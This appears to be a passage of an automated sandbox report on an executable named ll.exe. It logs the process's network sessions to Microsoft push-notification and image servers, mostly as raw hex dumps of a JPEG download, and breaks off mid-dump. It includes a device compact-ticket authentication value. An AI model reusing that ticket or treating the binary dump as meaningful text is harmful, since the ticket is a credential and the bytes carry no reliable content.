2022-04-08 08:02:33 UTC79OUTData Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 34 64 35 61 32 64 61 39 33 62 33 36 34 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 77 65 75 52 78 64 54 45 52 58 49 34 58 73 61 55 64 61 66 67 57 47 68 6d 46 42 32 63 6a 51 30 2b 6c 52 4d 56 52 66 4d 58 33 46 77 79 4e 35 6e 68 5a 42 49 69 50 59 61 52 4e 51 2f 64 77 71 38 33 2f 58 59 37 5a 42 55 72 6d 54 65 77 44 66 6a 2f 57 6d 4f 6e 51 35 6b 4e 32 56 76 44 35 75 46 4d 37 47 6a 4c 78 56 73 37 55 78 36 70 69 69 71 41 6d 6c 4d 6d 4e 7a 57 34 6d 36 7a 78 2f 52 66 32 38 74 48 6b 4a 46 73
Data Ascii: ATH 2 CON\DEVICE 1014Context: 6e4d5a2da93b364a<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQweuRxdTERXI4XsaUdafgWGhmFB2cjQ0+lRMVRfMX3FwyN5nhZBIiPYaRNQ/dwq83/XY7ZBUrmTewDfj/WmOnQ5kN2VvD5uFM7GjLxVs7Ux6piiqAmlMmNzW4m6zx/Rf28tHkJFs
2022-04-08 08:02:33 UTC80OUTData Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 34 64 35 61 32 64 61 39 33 62 33 36 34 61 0d 0a 0d 0a
Data Ascii: BND 3 CON\QOS 29Context: 6e4d5a2da93b364a
2022-04-08 08:02:33 UTC80INData Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a
Data Ascii: 202 1 CON 58
2022-04-08 08:02:33 UTC80INData Raw: 4d 53 2d 43 56 3a 20 73 69 44 6c 52 64 58 4e 59 30 32 36 5a 5a 37 44 6c 72 37 63 69 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e
Data Ascii: MS-CV: siDlRdXNY026ZZ7Dlr7cig.0Payload parsing failed.


Session IDSource IPSource PortDestination IPDestination PortProcess
12192.168.2.34999120.199.120.151443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:41 UTC80OUTData Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 62 30 64 66 37 39 34 39 61 64 62 32 63 35 62 0d 0a 0d 0a
Data Ascii: CNT 1 CON 246Context: 7b0df7949adb2c5b
2022-04-08 08:02:41 UTC80OUTData Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-04-08 08:02:41 UTC80OUTData Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 62 30 64 66 37 39 34 39 61 64 62 32 63 35 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 77 65 75 52 78 64 54 45 52 58 49 34 58 73 61 55 64 61 66 67 57 47 68 6d 46 42 32 63 6a 51 30 2b 6c 52 4d 56 52 66 4d 58 33 46 77 79 4e 35 6e 68 5a 42 49 69 50 59 61 52 4e 51 2f 64 77 71 38 33 2f 58 59 37 5a 42 55 72 6d 54 65 77 44 66 6a 2f 57 6d 4f 6e 51 35 6b 4e 32 56 76 44 35 75 46 4d 37 47 6a 4c 78 56 73 37 55 78 36 70 69 69 71 41 6d 6c 4d 6d 4e 7a 57 34 6d 36 7a 78 2f 52 66 32 38 74 48 6b 4a 46 73
Data Ascii: ATH 2 CON\DEVICE 1014Context: 7b0df7949adb2c5b<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQweuRxdTERXI4XsaUdafgWGhmFB2cjQ0+lRMVRfMX3FwyN5nhZBIiPYaRNQ/dwq83/XY7ZBUrmTewDfj/WmOnQ5kN2VvD5uFM7GjLxVs7Ux6piiqAmlMmNzW4m6zx/Rf28tHkJFs
2022-04-08 08:02:41 UTC81OUTData Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 62 30 64 66 37 39 34 39 61 64 62 32 63 35 62 0d 0a 0d 0a
Data Ascii: BND 3 CON\QOS 29Context: 7b0df7949adb2c5b
2022-04-08 08:02:41 UTC81INData Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a
Data Ascii: 202 1 CON 58
2022-04-08 08:02:41 UTC81INData Raw: 4d 53 2d 43 56 3a 20 2f 48 45 54 6a 4e 34 72 36 30 4f 32 51 75 79 4c 4b 5a 4d 66 54 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e
Data Ascii: MS-CV: /HETjN4r60O2QuyLKZMfTQ.0Payload parsing failed.


Session IDSource IPSource PortDestination IPDestination PortProcess
13192.168.2.34999423.10.249.43443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:42 UTC81OUTGET /cms/api/am/imageFileData/RE4CJ3o?ver=76ff HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive
2022-04-08 08:02:42 UTC83INHTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4CJ3o?ver=76ff
Last-Modified: Mon, 04 Apr 2022 04:46:03 GMT
Access-Control-Allow-Origin: *
X-Source-Length: 573309
X-Datacenter: northeu
X-ActivityId: b0ffddda-826d-4cd9-a82a-d9d7eea154e4
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Length: 573309
Cache-Control: public, max-age=74470
Expires: Sat, 09 Apr 2022 04:43:52 GMT
Date: Fri, 08 Apr 2022 08:02:42 GMT
Connection: close
2022-04-08 08:02:42 UTC84INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08
Data Ascii: JFIF``CC8"}!1AQa"q2
2022-04-08 08:02:42 UTC131INData Raw: 73 6b 97 d3 c7 a9 dd eb 56 be 6f ee 2f b5 25 db 2c d9 fe 26 19 3d 7e b5 5c be ed ee 5c 63 73 43 e2 77 8e a7 f8 99 e2 49 75 dd 5f cb fb 7d ce 22 f2 e0 5d 8b 1a 8e 14 67 ad 73 1a 92 98 6d 62 10 34 7f eb 3f d5 af f3 fa fd 6a 0b eb e8 1b 6a 5b 45 b5 57 e6 66 db 5a 0a 9b 34 19 27 8f 6f 9f c6 d9 36 fb d6 0e 5a ab 9a 25 d8 a9 75 36 e8 55 27 db b5 58 36 ef f6 8f 4a b3 79 63 1b cc b8 f9 9a 45 1f 77 e6 eb db 9a cd b1 49 e4 65 79 e2 97 6a b7 99 fe 7d eb 52 da ff 00 ed da b4 19 fd d3 2f f0 b7 de 5f 97 a9 ac 9b 77 b9 aa 47 3f 7d 66 8c bb f6 ed 7d c7 76 ea b5 fb f8 6c e0 36 91 6d 5f ba d3 af f1 7e 35 b6 fe 19 37 f2 4b 2c 8c cc 91 ef ff 00 76 ab e9 28 6e 37 5b 86 da 8d f2 fd df bb ef 4e 53 5c a4 f2 19 d6 cd 3c 9a 95 b4 b2 b6 e4 8d 84 9b b6 fa 77 ae d2 3f 1c da 5c dc 7d
Data Ascii: skVo/%,&=~\\csCwIu_}"]gsmb4?jj[EWfZ4'o6Z%u6U'X6JycEwIeyj}R/_wG?}f}vl6m_~57K,v(n7[NS\<w?\}
2022-04-08 08:02:42 UTC147INData Raw: 25 f0 c6 9d 62 d1 22 45 03 5d 48 a7 fd 62 96 55 c7 f7 bf c6 9d 61 73 63 6d 78 d6 d0 6d be b8 55 f3 25 f2 d7 e5 55 dd cd 72 bc ca 36 bc 23 73 2e 87 03 6b a7 4f 34 71 44 f0 49 e6 ed fe 25 2b ba a8 dc 5a ca 9f bb 55 5f 22 26 dc d5 ea d7 5a 3c fa a7 ef 0b 2f de da bb 7f 85 00 ef 4e ba d0 f4 eb 38 6d 90 5b 41 a9 de f0 b1 ee 62 db 58 1e 38 14 a3 99 27 f1 20 8d ee 79 ff 00 87 b4 4b bf 2e eb cc 83 6d ac b1 85 f3 1b d8 f1 d3 ad 15 da 6b 76 b7 36 f3 45 6d 3c f1 ab c8 a6 49 20 81 76 ac 6d 9e 06 68 a9 95 65 57 df 47 a9 4a 2d 44 e2 3f b7 2f 6f 35 26 99 e7 91 7c b9 36 ee 6c ae d6 18 e0 63 1d 2b 83 bf 43 61 e2 8b c9 77 36 5a 43 26 ef ef 35 75 ba df c4 bb dd 61 b3 77 a4 5a 4e ed b7 cb 92 da 33 13 c6 de e4 77 fa d6 1e a1 61 6f ac 4c da 85 bc ed 05 d4 4d bb ec db 77 2b 37
Data Ascii: %b"E]HbUascmxmU%Ur6#s.kO4qDI%+ZU_"&Z</N8m[AbX8' yK.mkv6Em<I vmheWGJ-D?/o5&|6lc+Caw6ZC&5uawZN3waoLMw+7
2022-04-08 08:02:42 UTC183INData Raw: f3 79 9d 85 53 d4 9b cb be 9d d1 55 5a 38 fc bf 9b e6 eb de aa e9 3a 6d d3 d8 dc cf 24 ad b7 70 5f 2d 57 6e e6 f5 eb 4c fb 35 cc 7b e5 95 5b 66 dd ad bb e6 66 ae 1a 91 f7 b7 2a fa 17 e1 5b 8b 9f 2a 52 d2 37 97 85 66 fb bf 2f a7 07 35 d6 59 f8 8b 50 b3 b7 63 6f e6 45 3b 61 97 6f ca db 87 f1 67 ad 73 9a 5d e0 dd e5 24 0b 13 2a fc bf ed 7f 85 5b 49 ae e1 f9 ec d7 fd a9 19 7e 6f 94 ff 00 f5 f9 15 c5 51 37 ee d8 d9 3b 6a 7a 2d 8f c4 6d 61 2c 57 ed 36 71 ea ae ab e6 47 e6 29 dd ef ec 7f 2a b7 a5 dd 69 fe 28 9a ea 48 ac 7f e1 1e 95 62 dd 24 9e 63 b2 b3 f6 f9 48 f5 af 33 b5 79 6f f6 ce 93 ed bf 5c aa ff 00 0b 37 b9 fa 56 83 ea 81 ae 25 82 f6 79 27 bd 8d bf e5 9c fb 99 bd ce 7b 62 b9 15 05 17 ee 2b 3f eb a1 6a 6f ab 3b 2d 4a c2 df 6b 41 6f ae 6e 9d 94 7c ad 01 54
Data Ascii: ySUZ8:m$p_-WnL5{[ff*[*R7f/5YPcoE;aogs]$*[I~oQ7;jz-ma,W6qG)*i(Hb$cH3yo\7V%y'{b+?jo;-JkAon|T
2022-04-08 08:02:42 UTC247INData Raw: fc b8 22 b0 f5 5b 54 f0 fc 33 dc 79 0b e5 2e 64 6f 2d 46 f5 fd 46 7d b9 ae f6 c6 e2 7b 1d 72 7f b3 5b 58 c1 6f 72 c5 56 09 18 f9 5b cf 78 b3 8d a7 8f ba 73 d6 b1 f5 cd 12 3b 6b 56 fb 5c 5f 66 f2 7e 6d bc aa c8 c0 e4 95 6f fd 97 8f a5 71 56 b4 64 b9 1d ee 44 a9 de 3b 1e 45 71 75 e1 cd 56 e3 50 93 4c 6f b3 6a 3f 66 32 ac 8d 6c 55 d5 c7 df 66 68 5b 77 19 ed ff 00 02 ac 9b 8f 07 f8 e7 c3 1a 5a eb fa 9c f3 ea 1a 4c 78 69 7c fb bf 99 a3 3c 82 51 8e 7f 0e b5 db f8 ba da f2 ce 68 33 67 69 04 b0 49 ba 0b ef 23 73 2e 07 3b 8a f3 b0 af 46 fd 2b 2a e3 c5 57 fe 20 f1 05 9d 96 e6 be bc 82 27 5d b6 cc 22 6f 24 83 86 f9 94 89 10 7f 73 af 4e b5 f4 78 39 a9 d3 d6 37 f5 77 d3 d4 e6 7b d8 93 c1 bf 13 bc 3f f6 1c cb 04 96 cf 16 5b c8 f3 0e c6 53 d0 8c 74 1f a5 75 be 21 b6 83
Data Ascii: "[T3y.do-FF}{r[XorV[xs;kV\_f~moqVdD;EquVPLoj?f2lUfh[wZLxi|<Qh3giI#s.;F+*W ']"o$sNx97w{?[Stu!
2022-04-08 08:02:42 UTC297INData Raw: 5c 7f f5 ab a8 b9 ba 4d 4a 65 8c 45 e6 fc df 7b 77 de eb 9a e7 16 41 6c df 68 9e 56 5b 58 27 3f 2c 98 5f 9b e9 de bc a9 56 8d 49 7b a6 2e 68 7b ec d0 63 5b 6b 65 ff 00 4c 91 93 cd 9e 4f ba aa 7a 01 44 76 d7 ba e5 d2 db 6e f3 77 2f cc cd f7 3d 6a 9e a9 e2 1b 6b 8d 3e e7 cd 81 56 de ea 47 dd 3f d0 ed 18 cf 38 15 1f 82 af e2 b7 f1 15 cd bc 77 2c b1 47 62 57 f7 8b f3 6f 38 ff 00 39 a8 71 97 23 97 54 68 a4 ad a1 e8 7a 5e 99 a3 e8 76 b1 24 51 2c 48 ab b5 ae 59 b6 af ea 78 a8 75 2f 15 69 f2 69 b3 da 69 d2 b5 b3 2f cb f6 98 db e5 56 5e c3 de bc cf 5c d5 7e d3 71 73 69 bb 75 ac 6b e5 45 03 4b eb c9 3d 7a ff 00 fa ab 13 5a 99 f5 28 e0 b2 8b c8 4b 78 24 0b 27 97 f2 6e ff 00 78 d7 25 3c 1f b4 92 9c 9e a4 38 f5 3b e6 d6 74 af 0f cd 04 92 5f 79 f7 5b 7e 5d d2 6e 5d a7
Data Ascii: \MJeE{wAlhV[X'?,_VI{.h{c[keLOzDvnw/=jk>VG?8w,GbWo89q#Thz^v$Q,HYxu/iii/V^\~qsiukEK=zZ(Kx$'nx%<8;t_y[~]n]
2022-04-08 08:02:42 UTC345INData Raw: e6 e3 1c 56 35 13 ba b9 ad 37 a6 87 6d a3 e9 ba 5e a5 35 e2 41 67 24 0f 16 f8 d9 95 b7 2a fe 0d ce 47 27 e9 9a e8 66 b7 d4 74 5d 3e 0b 79 17 75 bc 4a 91 ac 8d fc 3e d8 c7 6f f2 6b 8f f0 fd c4 1e 20 d3 ec ed 03 2a ea f6 d2 6e f3 22 93 62 de 28 3f 2b 0d d8 04 fa f5 3e dd 6b be bf 5b db eb ab 99 0d 8f 95 04 eb e5 b2 c6 a3 6b 36 3e 56 07 a8 24 8f bb 5f 3d 8b 72 ba a7 2d 95 f7 dc 69 75 30 2c fc 59 03 df 36 9c 65 68 27 6f f5 6c df 37 cc 3b e3 b5 42 bf 13 13 4b 99 63 bb b6 fb 4c 91 7c cb 3d b6 3e f0 39 f9 95 b8 c5 73 7a d5 a9 86 e1 5f ca 65 b8 93 f7 91 b7 2a cd 9c 64 7d 45 61 2e f4 be 95 e4 95 95 b7 6d 93 cc 5d dd fb fd 6b aa 8e 0a 8c 9f 3a 33 75 24 b4 3b 98 7c 4f 02 cd f6 cb 6d 46 46 79 57 cd b9 fb 4e 3e fe 7e 65 1c 74 fd 2b a0 87 e2 0f 82 b5 ab 7b 6b 3b cd 29
Data Ascii: V57m^5Ag$*G'ft]>yuJ>ok *n"b(?+>k[k6>V$_=r-iu0,Y6eh'ol7;BKcL|=>9sz_e*d}Ea.m]k:3u$;|OmFFyWN>~et+{k;)
2022-04-08 08:02:42 UTC369INData Raw: 1a c9 3c 81 11 b3 c8 27 d2 b9 fb 6b 97 b9 68 a4 8d a4 d9 1b 18 e4 8d 7e f6 f1 c7 5e 95 62 e6 fe 58 76 e6 2d d6 ea df ea d6 45 f9 7e b8 ae 6a 92 95 ee d9 d5 ce a2 8d 7f 11 78 1e 3d 6f 4b 8c c0 b1 c0 91 e5 59 a0 93 ef 30 f4 c7 f3 ae 0a d7 c0 b7 ba 3d f2 21 b6 6f de c6 63 8f e6 f9 97 dd ab af 87 c4 33 fd aa 2b 0b 64 91 a7 5c 36 df ba 8b f5 fa 53 ef ee 1d 2f 3e da f3 ee 5d a1 95 57 ee ab 7f b2 be 9c d1 46 ad 44 b9 7a 04 ad 3d 51 87 79 f0 f4 5b 2b 49 70 db 96 45 f9 99 64 15 ca c9 a7 84 66 11 c5 f2 47 f2 b3 32 ee da bf 87 eb 5d 5c 89 3d ce a9 6d 29 56 fd de 57 cb 66 dc b2 71 f7 9a b9 ab ab ed 92 30 45 f2 b7 7f b2 76 f3 fa d7 64 1c be d3 33 95 92 d1 18 97 f6 62 db 73 a4 1f 33 7d dd df 35 50 7b c4 8e 36 48 f7 4a ff 00 c5 b9 7e 5f a5 5e d5 26 96 da dd bf 7e b2 bb
Data Ascii: <'kh~^bXv-E~jx=oKY0=!oc3+d\6S/>]WFDz=Qy[+IpEdfG2]\=m)VWfq0Evd3bs3}5P{6HJ~_^&~
2022-04-08 08:02:42 UTC401INData Raw: 37 94 8c db 7e eb 22 91 95 fa 62 bc 22 45 96 1d 36 d9 e2 6d a9 1a bc 72 2f 1f 33 6e 27 bf 1f 4a 23 1b 46 c2 eb 73 e8 bf 09 78 fe e7 52 86 da 3b 9d bb 64 fd e2 b7 dd 6d 9b 36 e3 1c fc d9 eb 5e 7d f1 77 c5 c6 5f 12 40 15 97 cf 8e 5d db b6 fc cd 82 17 f9 d5 df 03 de 49 aa f8 7e cc c4 bb 65 b6 c7 ee f7 6f 5e 0f d3 38 e7 a5 79 df 8f b5 5b 9d 53 e2 94 12 ca cb b6 0c 33 74 ec 0b 1f cd bd 6a 16 cf b0 db 77 ba 3e ac f8 dd a1 1f 88 1f 08 f4 1f 10 3f fa 4c ba 6c 7b a4 55 5f bd 19 18 cf e1 c6 6b e2 ef 1d 58 d9 5c 32 a5 9a c8 b7 0b 9f ba bf 2e ee fc ff 00 0e 2b ec 8f 86 3a 95 c7 88 3e 02 b2 5d fd d8 95 ed 15 55 be 5d 85 36 9e 7e bc d7 cb 1e 26 f0 a9 7b e9 6d a3 95 65 b8 8b ee c1 23 04 4d bd 3b 91 5b d3 6f d9 ab ad b4 16 9d 0f 33 f0 c6 93 7e d7 52 ff 00 af fb df 33 2a
Data Ascii: 7~"b"E6mr/3n'J#FsxR;dm6^}w_@]I~eo^8y[S3tjw>?Ll{U_kX\2.+:>]U]6~&{me#M;[o3~R3*
2022-04-08 08:02:42 UTC408INData Raw: a5 6d 71 a9 58 d9 34 12 2c 4d 03 fc db be 4e 43 8e 5b b5 79 f7 89 34 7f 2f 52 94 41 14 92 ce ca df 2a ae e4 54 07 f9 9f 4a ec ed f5 58 ec 56 2d 8b b6 55 5f 95 57 e5 eb fa 66 b9 7f 1b 6a d7 7e 17 b7 b9 b8 b8 6f 9a 38 ff 00 77 fd dd dd 17 ff 00 af 5d 14 be 2b 04 b5 8d cf 11 8f 54 77 d4 a5 94 40 ca cb 21 6d ca db 3a 9a f5 6b 0b 89 6c 7c 3b 66 23 82 4d d7 2a 7e 69 17 e5 55 07 38 07 d6 b8 7f 0a e9 b6 97 56 b0 5d cb 3a f9 fe 6f ef 15 be 65 64 23 3c ad 74 ba a7 89 a3 b3 b5 f2 8e ae b2 b5 b3 09 20 85 63 fb cb 8e 79 c5 6f 55 73 49 24 73 d3 93 8e ac d8 d1 75 bf 2e ea e6 28 bc c9 7f 77 fb d5 55 f9 17 d3 27 b1 ae 1e c2 c2 3d 43 54 94 bf de 66 2c bf 37 ca be ac 7d bd 85 6b f8 66 f2 4b 1f 0f de 5c ce aa d7 9a 9b 3b 49 bb ef 46 99 e3 03 de a8 e9 7b 2e 77 46 22 8e 5f 98
Data Ascii: mqX4,MNC[y4/RA*TJXV-U_Wfj~o8w]+Tw@!m:kl|;f#M*~iU8V]:oed#<t cyoUsI$su.(wU'=CTf,7}kfK\;IF{.wF"_
2022-04-08 08:02:42 UTC559INData Raw: 2b b4 b7 8e ff 00 52 d7 2c 74 eb 7f 9a ca 59 51 a4 9f fb b9 fb c2 bd 76 c3 e1 76 81 a3 c7 00 97 cf 89 a5 61 24 8b e7 ed 6d c3 a6 4f b8 ac cb 3d 3e ce db 5a b9 92 da ce 3b 6f 2f e5 5d b9 65 55 1f c6 01 ef 9f 5a c2 be 61 4e aa 7c 8b 65 a1 cd 6e ec e4 bc 61 e3 ab 9d 27 52 6b 2b 4d cb a7 41 fb 85 8f f8 63 c0 c6 47 bf 7e 69 9a 5d b5 a6 b1 a4 cb 76 ed 73 6d 69 e5 9d d2 6e da cd 8f f1 ae b3 4a f0 be 97 ad 48 d7 ff 00 34 ae d2 1d cd 3e 36 6d ce d3 c7 5a af 71 e0 d9 6d fc 4d 05 a7 db a3 b9 b3 95 84 71 c6 aa 55 77 2f 23 35 cf 2a f4 79 39 22 ac d6 e6 4e c8 f3 db 8b 7b 36 9b ca b7 59 19 d9 7c c9 64 fb a9 c7 af 72 68 af 55 f1 07 87 60 b0 d3 e0 8e 3b 98 22 bc f2 9f 73 6d de aa e3 ee 6d c6 31 f8 d1 55 4f 1b cd 1b a7 63 9b 92 fb 1f 3b be bc f7 37 cd 25 dc 4a db 98 6e f2
Data Ascii: +R,tYQvva$mO=>Z;o/]eUZaN|ena'Rk+MAcG~i]vsminJH4>6mZqmMqUw/#5*y9"N{6Y|drhU`;"smm1UOc;7%Jn
2022-04-08 08:02:42 UTC591INData Raw: f2 a0 61 fb b6 fe 2a 22 fa ae a8 7a 37 a9 f2 6f 87 ad 5e 3b 58 ae e3 6f 21 d6 76 55 f2 f3 f8 9f a8 af a0 7f 66 3f 14 47 a3 db eb c9 3c 4c c9 3e 65 f9 57 77 ce a7 2b 5e 75 e1 f9 bc 3f 7f a4 ca 46 9c db b8 6d be 67 fa be a1 9b 9e bd bd eb da 7e 0b f8 1b 4e d6 b4 bb c9 f4 a6 db ab ac 72 ac 91 ab 1d ac 84 75 da 7d 3a 1a c7 46 d5 c4 e2 ec 71 7f b4 3a a6 a1 e3 4b 3b 9b 66 dd 15 ce 9f b6 36 56 0b b9 81 27 0d 5e 29 e2 5d 2e e1 fc 3b 6d 15 fc 4c b2 c5 23 fd 9b 73 7f ab 56 20 e0 7a 8a f7 4f 8b 9e 05 b8 d3 fc 23 67 ac c7 2b 33 59 ac 96 d2 ab 61 bc b5 73 fe 7a 57 88 f8 89 25 b8 f0 8c 4f 23 33 2e ef 31 bc c5 f9 57 06 b5 93 77 bb 05 aa 3a 2d 15 84 de 13 d0 fe f7 da 23 9f 73 33 37 a7 42 07 51 d6 b9 bb eb 08 2d b5 4f b4 19 5b ed 0a c6 46 fb ac be f8 e3 de af 78 4a 69 2d
Data Ascii: a*"z7o^;Xo!vUf?G<L>eWw+^u?Fmg~Nru}:Fq:K;f6V'^)].;mL#sV zO#g+3YaszW%O#3.1Ww:-#s37BQ-O[FxJi-
2022-04-08 08:02:42 UTC619INData Raw: 97 d0 56 9e ab e2 8d 57 5c be 9f 55 9e 5b 48 af 55 87 9b 6d 69 18 81 1b 23 6e 55 13 00 7c bd 70 3b d5 7b 0a 77 6a 0d 1b 2a 8c f5 7b ef 00 e9 1a 4e 93 fd a3 1c 57 d7 3e 1c 9e 51 e5 dc da 47 22 be c6 c6 1b 6b ae 76 fa 7b f4 ae c7 4f f1 26 8d a7 ae 91 2f 80 f5 0b b9 e0 b1 b9 48 36 ea 1f b8 68 dc 9c 9f bd 85 39 3f 2f d0 f1 ed 89 e1 3f 1d 0f 13 78 46 e7 4b bc d6 a3 95 9a 08 e4 81 64 53 13 ed 51 fb c8 5b 1d 87 54 3d f0 46 2b cf f4 ad 62 3b 58 ef 23 1b ad ac 24 67 55 83 70 d8 cc bd f9 fb c7 fa 73 9a e7 a9 47 9a 71 94 a4 db 8f dc fd 4b 4d ae 87 ae 78 9b 43 d2 35 0f ed 0b 7d 4e fa 3b c9 e4 93 6c 5a 5c f2 15 bc 85 98 91 cb 2f 42 bd f7 65 4d 72 3a 7e 95 e2 1f 0c b4 46 cf ec da bd 94 b2 08 23 92 4f bf 0a f5 01 ba f4 cf 0d ed 58 17 37 97 f7 d7 df da 91 45 26 e9 57 6a
Data Ascii: VW\U[HUmi#nU|p;{wj*{NW>QG"kv{O&/H6h9?/?xFKdSQ[T=F+b;X#$gUpsGqKMxC5}N;lZ\/BeMr:~F#OX7E&Wj
2022-04-08 08:02:42 UTC643INData Raw: a1 c5 53 d5 74 f8 fc 71 a4 fd a6 e2 0b 48 af 57 e5 66 82 3d c8 c8 38 1b 89 ef ff 00 a0 9a c7 2d c5 3c 2b e5 6e f0 fc 99 b5 48 f3 2d b5 3c 2e e9 47 d9 da 09 3e 65 e5 76 f1 b5 48 e3 9c 77 dd 9e 2b 9e b3 ba bc d3 6f 3c 89 60 f3 60 db b6 35 6f 99 7d 7f 90 ef 5e c1 a9 78 4e df 74 b1 5d c0 b0 7c a2 46 55 8f 6b 36 38 2d 91 df 3e b5 c5 6a b6 03 47 d4 96 49 2c 7e d3 02 fc cd 69 22 9f 97 07 24 7d 2b e9 63 88 a5 52 e9 23 97 95 a6 35 64 1a de 9f f6 d3 2a d9 c1 04 61 64 da bf 2e e1 9e bd db 27 d2 ba 1f 04 78 fc 69 ec b1 85 da ff 00 79 59 5b e6 db d0 8e 7a 55 75 f1 95 85 8e 9b 2e 8f 69 a6 5a 4e d7 5f bb 59 3e cd fb d8 cb 10 46 0f f0 e0 d7 25 ac 48 6c 5b ca 78 be cd 70 bf 2f ee 94 36 ef 5c 9c 0a f3 9e 1d 57 8b 84 e3 65 d0 e8 8c ed ad cf 48 d4 3e 2a 6b fe 1f d7 99 34 8b
Data Ascii: StqHWf=8-<+nH-<.G>evHw+o<``5o}^xNt]|FUk68->jGI,~i"$}+cR#5d*ad.'xiyY[zUu.iZN_Y>F%Hl[xp/6\WeH>*k4
2022-04-08 08:02:42 UTC683INData Raw: 73 eb c5 6f a2 c9 63 6e a8 1b 72 3a fc cb f7 97 ff 00 ac 6a 0b 9d 3e 4b ab cf 32 e2 55 57 ff 00 56 b2 49 f2 af d3 9c 6d ae 8f 69 1d ca 71 31 53 ec f7 f6 f1 48 8b 22 ca ab ec bf 97 d7 d6 ae f8 7e 69 ed ee 16 38 9a 35 97 76 d5 59 e4 f9 77 77 fc fb d5 d4 d2 7e cd 6e a6 35 56 75 6f 65 dd 83 c8 c7 f1 76 ac db 9d 2e 29 9a 58 3f 7f f6 a5 93 cd 5f 2d 7f 74 a9 dc b7 f7 6b 3b c6 71 69 0f 58 b3 b5 f1 33 58 7f 66 dc cb 6d 15 dc f2 b4 1e 5c d2 4f 22 6d f3 b8 e7 a9 24 06 cf 27 fa d5 2f 03 eb 72 5b cc a7 ed cd 12 b2 98 99 57 67 7e c4 ff 00 bc 3a d6 4e 93 a2 5d fd 8e e4 16 f9 97 e5 db 23 7c bd 7a 8f c3 f5 ac ed 5a f2 1d 26 cd 6c c5 b4 f3 a3 31 5d df 71 1b 1d 78 eb 5c eb 0f 1e 5f 67 b8 